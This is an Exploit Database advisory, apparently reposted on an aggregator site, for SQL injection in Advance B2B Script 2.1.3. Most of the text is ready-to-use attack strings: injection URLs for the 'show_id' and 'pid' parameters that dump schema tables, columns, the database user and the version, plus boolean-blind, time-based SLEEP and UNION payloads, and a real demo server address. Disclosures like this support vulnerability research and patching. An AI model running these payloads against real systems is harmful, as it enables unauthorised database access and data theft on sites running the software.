Advance B2B Script 2.1.3 – ‘show_id’ / ‘pid’ SQL Injection

Exploit Database
109 阅读

作者： Ihsan Sencan

日期： 2017-12-09
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/43263/

# # # # #

# Exploit Title: Advance B2B Script 2.1.3 - SQL Injection

# Dork: N/A

# Date: 08.12.2017

# Vendor Homepage: https://www.phpscriptsmall.com/

# Software Link: https://www.phpscriptsmall.com/product/advance-b2b-script/

# Demo: http://198.38.86.159/~advancedb2b/

# Version: 2.1.3

# Category: Webapps

# Tested on: WiN7_x64/KaLiLinuX_x64

# CVE: N/A

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Social: @ihsansencan

# # # # #

# Description:

# The vulnerability allows an attacker to inject sql commands....

# Proof of Concept:

# 1)

# http://localhost/[PATH]/tradeshow-list-detail.php?show_id=[SQL]

# -33'++UNION+ALL+SELECT+1,(/*!11111Select*/+export_set(5,@:=0,(/*!11111select*/+count(*)/*!11111from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!11111table_name*/,0x3c6c693e,2),/*!11111column_name*/,0xa3a,2)),@,2)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67--+-

# http:/server/tradeshow-list-detail.php?show_id=-33'++UNION+ALL+SELECT+1,(/*!11111Select*/+export_set(5,@:=0,(/*!11111select*/+count(*)/*!11111from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!11111table_name*/,0x3c6c693e,2),/*!11111column_name*/,0xa3a,2)),@,2)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67--+-

# Parameter: show_id (GET)

# Type: boolean-based blind

# Title: AND boolean-based blind - WHERE or HAVING clause

# Payload: show_id=33' AND 2728=2728 AND 'YmuO'='YmuO

# Type: UNION query

# Title: Generic UNION query (NULL) - 67 columns

# Payload: show_id=-3015' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706b71,0x584943414f617573724e456a6a5369584f53494448646a56596b4a54736670476c424d6b6a4e556b,0x7170707071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- pUZl

# 2)

# http://localhost/[PATH]/view-product.php?pid=[SQL]

# -1555'++UNION+ALL+SELECT+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33--+-

# http://server/view-product.php?pid=-1555'++UNION+ALL+SELECT+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33--+-

# Parameter: pid (GET)

# Type: boolean-based blind

# Title: AND boolean-based blind - WHERE or HAVING clause

# Payload: pid=1555' AND 2914=2914 AND 'zyef'='zyef

# Type: AND/OR time-based blind

# Title: MySQL >= 5.0.12 AND time-based blind

# Payload: pid=1555' AND SLEEP(5) AND 'DubS'='DubS

# Type: UNION query

# Title: Generic UNION query (NULL) - 33 columns

# Payload: pid=1555' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176706b71,0x4776706c6c514f494a596a436179624947684a6c655163434156506b6d454463737076706d52506d,0x71766b7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- hHVm

# # # # #